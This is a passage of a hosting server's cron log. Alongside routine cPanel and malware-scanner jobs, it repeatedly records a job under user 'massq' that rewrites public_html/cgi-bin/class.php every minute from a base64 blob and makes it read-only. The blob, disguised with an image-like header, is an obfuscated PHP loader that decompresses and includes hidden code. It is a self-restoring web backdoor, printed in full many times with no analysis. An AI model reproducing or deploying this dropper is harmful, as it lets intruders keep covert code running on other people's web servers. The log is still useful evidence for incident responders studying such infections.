&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:55:02 server CROND[2318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:55:02 server CROND[2319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:55:02 server CROND[2320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:56:01 server CROND[2754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:57:01 server CROND[3726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:57:01 server CROND[3727]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 12:58:01 server CROND[4554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:59:01 server CROND[5363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:00:01 server CROND[6189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:00:01 server CROND[6190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:00:01 server CROND[6191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:00:01 server CROND[6192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:01:01 server CROND[6885]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 13:01:01 server CROND[6886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:01:01 server run-parts(/etc/cron.hourly)[6885]: starting 0anacron
Nov 11 13:01:01 server run-parts(/etc/cron.hourly)[6898]: finished 0anacron
Nov 11 13:02:01 server CROND[7685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:03:01 server CROND[8570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:04:01 server CROND[9557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:05:01 server CROND[10430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:05:01 server CROND[10429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 13:05:01 server CROND[10431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:05:01 server CROND[10432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:06:02 server CROND[11347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
